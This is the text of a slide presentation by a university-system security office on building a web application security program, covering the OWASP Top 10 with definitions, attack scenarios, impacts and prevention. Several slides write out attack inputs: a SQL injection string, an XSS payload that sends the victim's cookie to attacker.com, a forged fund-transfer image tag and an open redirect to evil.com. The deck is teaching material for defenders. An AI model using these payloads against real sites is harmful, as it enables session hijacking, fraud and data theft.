Web Application Security Program What it means Why you need it

1. Web Application Security ProgramWhat it means & Why you need it Presenters Anil Ninan Jeremy Heydman Jim Nelson

2. Applications are under attack 75% of attacks are at the Application Level - Gartner 95% of all vulnerabilities are in software - NIST 7 out of 10 web sites have serious vulnerabilities - White Hat Security 62% of organizations have experienced a security breach in the past 12 months - Forrester History � Script kiddies Perimeter defense Made it Harder for hackers to penetrate Last decade � started with network attacks ends with application attacksHistory � Script kiddies Perimeter defense Made it Harder for hackers to penetrate Last decade � started with network attacks ends with application attacks

3. Data fromNIST, MITRE, SANS, US-CERT, OSVDB, vulnerabilities associated with Web technologies Data fromNIST, MITRE, SANS, US-CERT, OSVDB, vulnerabilities associated with Web technologies

4. Follows adoption of web applications.Follows adoption of web applications.

5. Peers In the Headlines� June 2005, University of Southern California - 270,000 prospective students In late April 2006, federal prosecutors charged a San Diego man with hacking into the University of Southern California�s admissions website and stealing the personal information for several applicants in June 2005 a hacker infiltrated a massive database from the University of California, Los Angeles, containing personal information (including social security numbers, dates of birth, home addresses and contact information) on 800,000 people in one of the worst computer breaches ever at a US university. The attack reportedly exploited a software flaw to crack the database, UCLA said in notices sent to all 800,000 potential victims. December 2006 , University of Colorado � 17,500 Victims Experienced a web hacking attack that resulted in the theft of thousands of names and social security numbers � a total of 17,500 records were compromised. June 2005, University of Southern California - 270,000 prospective students In late April 2006, federal prosecutors charged a San Diego man with hacking into the University of Southern California�s admissions website and stealing the personal information for several applicants in June 2005 a hacker infiltrated a massive database from the University of California, Los Angeles, containing personal information (including social security numbers, dates of birth, home addresses and contact information) on 800,000 people in one of the worst computer breaches ever at a US university. The attack reportedly exploited a software flaw to crack the database, UCLA said in notices sent to all 800,000 potential victims. December 2006 , University of Colorado � 17,500 Victims Experienced a web hacking attack that resulted in the theft of thousands of names and social security numbers � a total of 17,500 records were compromised.

6. In the Headlines� I have your [expletive] In *my* possession, right now, are 8,257,378 patient records and a total of 35,548,087 prescriptions. Also, I made an encrypted backup and deleted the original. Unfortunately for Virginia, their backups seem to have gone missing, too. Uhoh :(For $10 million, I will gladly send along the password.� I have your [expletive] In *my* possession, right now, are 8,257,378 patient records and a total of 35,548,087 prescriptions. Also, I made an encrypted backup and deleted the original. Unfortunately for Virginia, their backups seem to have gone missing, too. Uhoh :(For $10 million, I will gladly send along the password.�

7. What is Web Application Security? Firewall/DMZ IDS / IPS Patch Management Network safeguards don�t completely alleviate threats anymore. It is now our job as developers to secure our apps � write secure code. We still need network controls, it�s just that by themselves, they don�t provide adequate controls for Web Apps.Network safeguards don�t completely alleviate threats anymore. It is now our job as developers to secure our apps � write secure code. We still need network controls, it�s just that by themselves, they don�t provide adequate controls for Web Apps.

8. Web Application Security Misconceptions The Firewall protects my web application SSL secures my site The IDS protects my web server and database

9. Simplified Web Application Architecture

10. What can be done?.... Program Example

11. Education & Strategic Planning Train Development Staff Developers are trained to provide functionality & deliver on-time Perform Inventory of Web Applications Need to know what is out there Create a registration system Hold Vendors Accountable Create a Business Risk Profile Perform risk assessments to identify high risk assets

12. Security Testing Dynamic Analysis Web Application Scanner Static Analysis Tool Based Code Review Manual Code Review Peer Review

13. Development Secure Software Development Life Cycle Build Security Touch Points in the Development Process Threat Modeling Identify relevant threats, vulnerabilities and counter measures Standards and Compliance Secure Coding Best Practices, Standards, Guidelines etc.. MGDPA, FERPA, PCI etc..

14. Deployment Vulnerability Assessment Find the Vulnerabilities Penetration Testing Exploit the vulnerabilities Web Application Firewall Buys time to fix the vulnerability

15. Building Security into SDLC � Touch-points Much cheaper and reduces burden if security is incorporated during development � not tacked on afterwards. SITE SOURCES THAT STATE THISMuch cheaper and reduces burden if security is incorporated during development � not tacked on afterwards. SITE SOURCES THAT STATE THIS

16. OWASP Top 10 Arguably �the� place to start for learning about application security risks. Updated for 2010 What is OWASP? http://www.owasp.org Open Web Application Security Project, a non-profit worldwide charitable organization focused on improving the security of application software.

17. OWASP Top 10 Definition Example Attack Scenario(s) Impact Prevention

18. A1. Injection Flaws Definition Injection flaws occur when un-trusted data is sent to an interpreter as part of a command or query. The attacker�s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data. Various flavors of injection flaws: SQL, OS, LDAP to name a few.

19. A1. Injection Flaws Example Attack Scenario String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'"; The attacker modifies the �id� parameter in their browser to send: ' or '1'='1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer�s. http://example.com/app/accountView?id=' or '1'='1

20. A1. Injection Flaws Impact (Severe) Data loss or corruption Lack of accountability Denial of access In certain cases could lead to complete takeover of host

21. A1. Injection Flaws Prevention Do not trust data from clients, validate all input. Use parameterized APIs whenever possible, e.g. SQL prepared statements If parameterized API not available, use escaping routines before sending data to the interpreter/shell.

22. A2. Cross-Site Scripting (XSS) Definition XSS flaws occur whenever an application takes un-trusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim�s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. Three types � stored, reflected, and DOM based XSS. The most prevalent web application security flaw.

23. A2. Cross-Site Scripting (XSS) Example Attack Scenario (String) page += "<input name='creditcard' type= 'TEXT' value='" + request.getParameter("CC") + "'>"; The attacker modifies the 'CC' parameter in their browser to: '><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'. This causes the victim�s session ID to be sent to the attacker�s website, allowing the attacker to hijack the user�s current session.

24. A2. Cross-Site Scripting (XSS) Impact (Moderate) Attacker can execute scripts in a victim�s browser, which can open the door to: Hijacking the user�s session Defacing the web site Insertion of hostile content Redirecting the user to another site Attempting to install malware on the user�s machine

25. A2. Cross-Site Scripting (XSS) Prevention Escape/encode all data that is written to a web page. <script>alert('got you');</script> (raw html) <script>alert('got you')</script> (encoded html) Do not trust data from clients, validate all input.

26. A3. Broken Authentication and Session Management Definition Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users� identities.

27. A3. Broken Authentication and Session Management Example Attack Scenarios Application�s timeouts aren�t set properly. User uses a public computer to access site. Instead of selecting �logout� the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated. Attacker gains access to the system�s password database. User passwords are not encrypted, exposing every users� password to the attacker.

28. A3. Broken Authentication and Session Management Impact (Severe) Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.

29. A3. Broken Authentication and Session Management Prevention A single set of strong authentication and session management controls. Such controls should strive to: Meet the requirements defined in OWASP�s Application Security Verification Standard(ASVS). Have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs. See A2.

30. A4. Insecure Direct Object References Definition A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

31. A4. Insecure Direct Object References Example Attack Scenario String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt=connection.prepareStatement(query , � ); pstmt.setString( 1, request.getparameter("acct")); ResultSet results = pstmt.executeQuery( ); The attacker simply modifies the 'acct' parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user�s account, instead of only the intended customer�s account. http://example.com/app/accountInfo?acct=notmyacct

32. A4. Insecure Direct Object References Impact (Moderate) Such flaws can compromise all the data that can be referenced by the parameter. Unless the namespace is sparse, it�s easy for an attacker to access all available data of that type.

33. A4. Insecure Direct Object References Prevention Use per-user or session indirect object references. This prevents attackers from directly targeting unauthorized resources by knowing actual keys. Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.

34. A5. Cross-Site Request Forgery (CSRF) Definition A CSRF attack forces a logged-on victim�s browser to send a forged HTTP request, including the victim�s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim�s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

35. A5. Cross-Site Request Forgery (CSRF) Example Attack Scenario The application allows a user to submit a state changing request that does not include anything secret. http://example.com/app/transferFunds?amount=150&destinationAccount=467 The attacker constructs a request that will transfer money from the victim�s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker�s control. <imgsrc="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#�width="0" height="0" /> If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user�s session info, inadvertently authorizing the request.

36. A5. Cross-Site Request Forgery (CSRF) Impact (Moderate) Attackers can cause victims to change any data the victim is allowed to change or perform many function the victim is authorized to use.

37. A5. Cross-Site Request Forgery (CSRF) Prevention Preventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure. OWASP�s CSRF Guardcan be used to automatically include such tokens in your Java EE, .NET, or PHP application. OWASP�s ESAPI includes token generators and validators that developers can use to protect their transactions.

38. A6. Security Misconfiguration Definition Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.

39. A6. Security Misconfiguration Example Attack Scenarios Scenario #1: Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you don�t update your libraries. Until you do, attackers can easily find and exploit these flaw in your app. Scenario #2: The app server admin console is automatically installed and not removed. Default accounts aren�t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

40. A6. Security Misconfiguration Example Attack Scenarios (cont.) Scenario #3: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then find a serious access control flaw in your application. Scenario #4: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

41. A6. Security Misconfiguration Impact (Moderate) Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise.

42. A6. Security Misconfiguration Prevention A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically. This process should be automated to minimize the effort required to setup a new secure environment. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This needs to include all code libraries as well, which are frequently overlooked.

43. A6. Security Misconfiguration Prevention (cont.) A strong application architecture that provides good separation and security between components. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.

44. A7. Insecure Cryptographic Storage Definition Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

45. A7. Insecure Cryptographic Storage Example Attack Scenarios Scenario #1: An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing a SQL injection flaw to retrieve all the credit cards in clear text. The system should have been configured to allow only back end applications to decrypt them, not the front end web application. Scenario #2: A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.

46. A7. Insecure Cryptographic Storage Example Attack Scenarios (cont.) Scenario #3: The password database uses unsalted hashes to store everyone�s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.

47. A7. Insecure Cryptographic Storage Impact (Moderate) Failure frequently compromises all data that should have been encrypted. Typically this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.

48. A7. Insecure Cryptographic Storage Prevention Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats. Ensure offsite backups are encrypted, but the keys are managed and backed up separately. Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place. Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used. Ensure all keys and passwords are protected from unauthorized access.

49. A8. Failure to Restrict URL Access Definition Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

50. A8. Failure to Restrict URL Access Example Attack Scenario The attacker simply force browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the �admin_getappInfo� page. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the �admin_getappInfo� page, this is a flaw, and may lead the attacker to more improperly protected admin pages. Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.

51. A8. Failure to Restrict URL Access Impact (Moderate) Such flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack.

52. A8. Failure to Restrict URL Access Prevention Select an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all of the following are recommended: The authentication and authorization policies be role based, to minimize the effort required to maintain these policies. The policies should be highly configurable, in order to minimize any hard coded aspects of the policy. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

53. A9. Insufficient Transport Layer Protection Definition Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.

54. A9. Insufficient Transport Layer Protection Example Attack Scenarios Scenario #1: A site simply doesn�t use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victim�s session cookie. Attacker then replays this cookie and takes over the user�s session. Scenario #2: A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings.

55. A9. Insufficient Transport Layer Protection Impact (Moderate) Such flaws expose individual users� data and can lead to account theft. If an admin account was compromised, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.

56. A9. Insufficient Transport Layer Protection Prevention Providing proper transport layer protection can affect the site design. It�s easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private pages. Others use SSL only on �critical� pages, but this can expose session IDs and other sensitive data. At a minimum, do all of the following: Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page. Set the �secure� flag on all sensitive cookies. Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms. Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site. Backend and other connections should also use SSL or other encryption technologies.

57. A10. Unvalidated Redirects and Forwards Definition Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages. A favorite target of phishers trying to gain the user�s trust

58. A10. Unvalidated Redirects and Forwards Example Attack Scenarios Scenario #1: The application has a page called �redirect.jsp� which takes a single parameter named �url�. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com Scenario #2: The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application�s access control check and then forward the attacker to an administrative function that she would not normally be able to access. http://www.example.com/boring.jsp?fwd=admin.jsp

59. A10. Unvalidated Redirects and Forwards Impact Such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass.

60. A10. Unvalidated Redirects and Forwards Prevention Safe use of redirects and forwards can be done in a number of ways: Simply avoid using redirects and forwards, if possible. If used, don�t involve user parameters in calculating the destination. This can usually be done. If destination parameters can�t be avoided, ensure that the supplied value is valid, and authorized for the user.

61. Establish the Foundation The 3 Pillars: Knowledge We don�t know what we don�t know Risk Assessment Business Risk - Criticality to operations, privacy, etc. Application Vulnerabilities Best-Practices Secure coding practices The 3 pillars of any program or approach to securing our applications � Knowledge, Risk Assessment, Best-practices Best practices � incorporate into the entire SDLC processThe 3 pillars of any program or approach to securing our applications � Knowledge, Risk Assessment, Best-practices Best practices � incorporate into the entire SDLC process

62. Knowledge Known vulnerabilities & Secure coding practices Perform Risk Assessment Classify Applications Criticality/Security Exposure Stop The Bleeding - Identify the Vulnerabilities Static Analysis / Dynamic Analysis / Penetration Testing Address high risk applications first - Applications facing the internet, apps with private data etc. Establish the Foundation � Cont. Risk � Business risk ?consider the operational need of the app, personal private info, or financial data Tools and process can Risk � Business risk ?consider the operational need of the app, personal private info, or financial data Tools and process can

63. Best-Practices (Security Touch-points) Tools � Static & Dynamic Analysis Process � Code Review, Threat Modeling Standards / Guidelines � Consistent development practices that includes security Web Application Firewalls �Security is a journey, not a destination� Establish the Foundation

64. Past and Current Initiatives Pilot � FY09 Summary Report � Pilot Results Training � Conducted 2day courses Veracode � Security as a Service (Enterprise) Software Security Task Force SMEs � define MnSCU specific secure coding practices � standards/guidelines & process Identify short & long-term plan / initiatives

65. Discussion Topics How much application development are you doing on campus? How much development is out-sourced to a 3rd party? Current state? � Any processes used to include security in your SDLC? If yes, what types of practices? What would be your challenges to address web application security issues? Training � Understanding vulnerabilities, secure coding practices, additional skills you would need? Buy-in from Management and/or others? Tools � additional costs? Other questions?

66. Thank You Anil Ninan Jeremy Heydman Security Specialist Technical Lead Analyst Information Security Office Enterprise SW & Development 651-201-1534 320-223-6264 Anil.ninan@csu.mnscu.edu Jeremy.heydman@csu.mnscu.edu Jim Nelson Sr. Consultant (Midwave) Information Security Office 651-201-1566 Jim.nelson@csu.mnscu.edu

67. Tools - Static Analysis Vendors Veracode (www.Veracode.com) Fortify (www.Fortify.com) Coverity (www.coverity.com) KlocWork (www.KlocWork.com) Ounce Labs (www.ouncelabs.com)

68. Tools - Dynamic Analysis Vendors IBM - Rational Appscan (www.ibm.com) HP � WebInspect (www.hp.com) Ntobjectives � NTOSpider (www.ntobjectives.com) Cenzic � Hailstorm (www.cenzic.com) Whitehat Security � (www.whitehatsec.com)

69. Tools - Web Application Firewall WebDefend - Breach (www.breach.com) ModSecurity - Open Source (www.modsecurity.org) support offered by Breach SecureSphere - Imperva (www.imperva.com) Application Security Manager - F5 (www.f5.com) Citrix Application Firewall - Citrix (www.citrix.com) Web Security � Checkpoint (www.checkpoint.com) Cisco ACE - Cisco (www.cisco.com) Fortify Real-Time Analyzer (www.fortify.com)

70. Resources www.owasp.org OWASP Top 10 Web Goat Development Guide Tools www.sans.org SANS TOP 25 Programming Errors www.webappsec.org Web Application Security Consortium